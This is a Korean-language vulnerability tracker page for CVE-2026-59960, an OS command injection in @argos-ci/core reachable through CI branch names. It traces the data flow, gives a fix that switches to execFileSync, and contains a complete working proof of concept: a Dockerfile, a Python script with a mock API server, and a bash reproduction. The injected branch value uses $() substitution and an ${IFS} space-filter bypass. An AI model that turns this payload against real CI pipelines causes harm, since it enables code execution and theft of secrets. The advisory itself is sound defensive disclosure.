Kestrel
대시보드로 돌아가기
CVE-2026-59960HIGH· 7.5GHSA대응게시일: 2026. 09. 10.수정일: 2026. 09. 10.

@argos-ci/core: CI Branch Name OS Command Injection

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

상세 설명

CI Branch Name OS Command Injection in @argos-ci/core

Summary

@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:

text
1function gitFetch(input: { ref: string; depth: number; target: string }) {
2 execSync(
3 `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
4 );
5}

execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.

A secondary sink exists at packages/core/src/ci-environment/git.ts:67:

text
1execSync(`git merge-base ${input.head} ${input.base}`)

Complete data flow (source → sink):

  1. packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUB_HEAD_REF without validation (source).
  2. packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context.
  3. packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch.
  4. packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.
  5. packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.
  6. packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch().
  7. packages/core/src/ci-environment/git.ts:89sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).

There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.

Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:

sql
1-import { execSync } from "node:child_process";
2+import { execFileSync, execSync } from "node:child_process";
3
4 function gitFetch(input: { ref: string; depth: number; target: string }) {
5- execSync(
6- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
7- );
8+ execFileSync("git", [
9+ "fetch", "--force", "--update-head-ok",
10+ "--depth", String(input.depth),
11+ "origin", `${input.ref}:${input.target}`,
12+ ]);
13 }
14
15 function gitMergeBase(input: { base: string; head: string }) {
16- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
17+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
18 }

PoC

Prerequisites:

  • Docker installed on the test machine.
  • Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.

Step 1 — Build the Docker image:

text
1docker build -t argos-vuln-001 \
2 -f /path/to/vuln-001/Dockerfile \
3 /path/to/reports/npmAI_634_argos-ci__argos-javascript/

The Dockerfile:

  • Uses node:22 as the base.
  • Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
  • Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry.
  • Copies poc.py as the container entrypoint.

Step 2 — Run the container:

text
1docker run --rm argos-vuln-001

What the PoC (poc.py) does:

  1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.
  2. Sets ARGOS_BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc).
    • $(...) is shell command substitution.
    • ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.
  3. Runs argos upload <empty-dir> --files '*.png' with the malicious environment.
  4. Checks for the marker file /tmp/argos-ci-cve-poc.

Expected output:

text
1============================================================
2[PASS] VULNERABILITY CONFIRMED
3[PASS] Marker file exists: /tmp/argos-ci-cve-poc
4[PASS] The shell command injected via ARGOS_BRANCH was executed
5[PASS] by execSync() inside gitFetch() (git.ts:88-90).
6============================================================

The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.

Manual reproduction (without Docker):

bash
1mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
2git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
3
4# Start a minimal mock API server (background)
5node -e "
6const http = require('http');
7http.createServer((req, res) => {
8 if (req.url === '/v2/project') {
9 res.writeHead(200, {'content-type':'application/json'});
10 res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
11 return;
12 }
13 res.writeHead(200, {'content-type':'application/json'});
14 res.end('{}');
15}).listen(7777);
16" &
17
18mkdir empty
19rm -f /tmp/argos-ci-cve-poc
20ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
21ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
22ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
23ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
24npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true
25
26test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.

Who is impacted:

  • Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
  • The risk is highest in pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
  • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Reproduction artifacts

Dockerfile
sql
1FROM node:22
2
3# Install git and Python 3
4RUN apt-get update && \
5 apt-get install -y --no-install-recommends git python3 && \
6 rm -rf /var/lib/apt/lists/*
7
8# Configure git identity for commits inside the container
9RUN git config --global user.email "poc@test.local" && \
10 git config --global user.name "PoC Test" && \
11 git config --global init.defaultBranch main
12
13# Create a local bare repository that acts as the "origin" remote.
14# This lets git fetch succeed (reaching a real remote is not required for the
15# injection -- the shell expands $() before git connects -- but a working
16# remote means getMergeBaseCommitSha() returns a real SHA and the full
17# upload code-path is exercised without extra noise from git errors.)
18RUN git init --bare /remote.git
19
20# Create the working repository with the bare repo as origin
21RUN git init /git-workspace && \
22 cd /git-workspace && \
23 git remote add origin /remote.git && \
24 echo "initial" > README.md && \
25 git add README.md && \
26 git commit -m "Initial commit" && \
27 git branch -M main && \
28 git push -u origin main
29
30# Copy the cloned repository source for reference / source evidence.
31# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
32COPY repo /argos-repo
33
34# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
35# from the public npm registry -- same version as the cloned repository.
36RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
37
38# Copy the Python PoC script
39COPY vuln-001/poc.py /poc.py
40
41# Run from inside the git workspace so that git commands find the correct repo
42WORKDIR /git-workspace
43
44ENTRYPOINT ["python3", "/poc.py"]
poc.py
sql
1#!/usr/bin/env python3
2"""
3PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0
4
5Vulnerability: CWE-78 (OS Command Injection)
6Affected file: packages/core/src/ci-environment/git.ts:87-90
7
8The gitFetch() function passes user-controlled ref strings directly into an
9execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
10shell metacharacters in the string -- including $() command substitution --
11are evaluated before git runs.
12
13Attack chain (source -> sink):
14 env.GITHUB_HEAD_REF / ARGOS_BRANCH
15 -> config.ts:119-122 (String cast, no sanitisation)
16 -> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })
17 -> git.ts:123 gitFetch({ ref: input.head, ... })
18 -> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)
19 ^^^^^^^^ shell injection sink
20
21This script:
22 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
23 for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
24 2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
25 containing a $() command substitution.
26 3. Checks for a filesystem artefact that proves execution.
27"""
28
29import json
30import os
31import subprocess
32import sys
33import threading
34from http.server import BaseHTTPRequestHandler, HTTPServer
35
36# File created by the injected command -- its existence proves execution.
37MARKER_FILE = "/tmp/argos-ci-cve-poc"
38
39# Port for the mock Argos API server.
40MOCK_PORT = 7777
41
42
43class MockArgosAPI(BaseHTTPRequestHandler):
44 """Minimal mock of the Argos REST API.
45
46 Only two responses matter:
47 - GET /v2/project -- must return hasRemoteContentAccess=false to trigger
48 the git-based merge-base discovery code-path.
49 - POST /v2/builds -- needs to return a recognisable structure so the SDK
50 does not abort before we can observe the side-effect.
51 """
52
53 def log_message(self, fmt, *args):
54 # Suppress per-request log noise; PoC progress messages are enough.
55 pass
56
57 def _send_json(self, status: int, body: dict) -> None:
58 raw = json.dumps(body).encode()
59 self.send_response(status)
60 self.send_header("Content-Type", "application/json")
61 self.send_header("Content-Length", str(len(raw)))
62 self.end_headers()
63 self.wfile.write(raw)
64
65 def do_GET(self):
66 if self.path.rstrip("/") == "/v2/project":
67 # hasRemoteContentAccess=false is the precondition that makes the
68 # SDK call getMergeBaseCommitSha() instead of fetching from the
69 # Git provider API. This is the key to reaching the sink.
70 self._send_json(200, {
71 "id": "proj-1",
72 "defaultBaseBranch": "main",
73 "hasRemoteContentAccess": False,
74 })
75 else:
76 self._send_json(200, {})
77
78 def do_POST(self):
79 # Drain request body to keep the connection clean.
80 length = int(self.headers.get("Content-Length", 0))
81 self.rfile.read(length)
82 if "/builds" in self.path:
83 # Return the minimal structure the SDK dereferences after POST /builds.
84 self._send_json(201, {
85 "id": "build-1",
86 "url": "http://localhost/build/1",
87 "screenshots": [],
88 "pwTraces": [],
89 })
90 else:
91 self._send_json(200, {})
92
93 def do_PUT(self):
94 length = int(self.headers.get("Content-Length", 0))
95 self.rfile.read(length)
96 self._send_json(200, {})
97
98
99def start_mock_server() -> HTTPServer:
100 server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
101 thread = threading.Thread(target=server.serve_forever, daemon=True)
102 thread.start()
103 return server
104
105
106def main():
107 print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
108 print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
109 print()
110
111 # Remove any stale marker from a previous run.
112 if os.path.exists(MARKER_FILE):
113 os.remove(MARKER_FILE)
114
115 # Start the mock Argos API.
116 server = start_mock_server()
117 print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")
118
119 # Build the malicious branch name.
120 # Breakdown:
121 # main -- valid branch prefix so git ref looks plausible
122 # $(...) -- shell command substitution, evaluated by /bin/sh
123 # touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
124 # filters and forming "touch <path>"
125 malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
126 print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
127 print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
128 print()
129
130 # Empty upload directory -- no real screenshots needed. The injection
131 # occurs during merge-base discovery before any upload loop runs.
132 upload_dir = "/tmp/argos-empty-upload"
133 os.makedirs(upload_dir, exist_ok=True)
134
135 env = dict(os.environ)
136 env.update({
137 "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
138 "ARGOS_TOKEN": "a" * 40,
139 "ARGOS_COMMIT": "0" * 40,
140 "ARGOS_BRANCH": malicious_branch,
141 # Disable update-notifier noise inside the CLI.
142 "NO_UPDATE_NOTIFIER": "1",
143 })
144
145 print("[*] Running: argos upload <empty-dir> --files '*.png'")
146 result = subprocess.run(
147 ["argos", "upload", upload_dir, "--files", "*.png"],
148 env=env,
149 capture_output=True,
150 text=True,
151 # CWD must be a git repository with an 'origin' remote so that
152 # git fetch has a valid context. /git-workspace is prepared in the
153 # Dockerfile for this purpose.
154 cwd="/git-workspace",
155 )
156
157 print(f"[*] CLI exit code : {result.returncode}")
158 if result.stdout.strip():
159 print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")
160 if result.stderr.strip():
161 print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")
162
163 server.shutdown()
164 print()
165
166 # --- Verdict ---
167 if os.path.exists(MARKER_FILE):
168 print("=" * 60)
169 print("[PASS] VULNERABILITY CONFIRMED")
170 print(f"[PASS] Marker file exists: {MARKER_FILE}")
171 print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
172 print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
173 print("=" * 60)
174 sys.exit(0)
175 else:
176 print("=" * 60)
177 print("[FAIL] Marker file not found -- injection did not trigger.")
178 print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
179 print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
180 print("=" * 60)
181 sys.exit(1)
182
183
184if __name__ == "__main__":
185 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.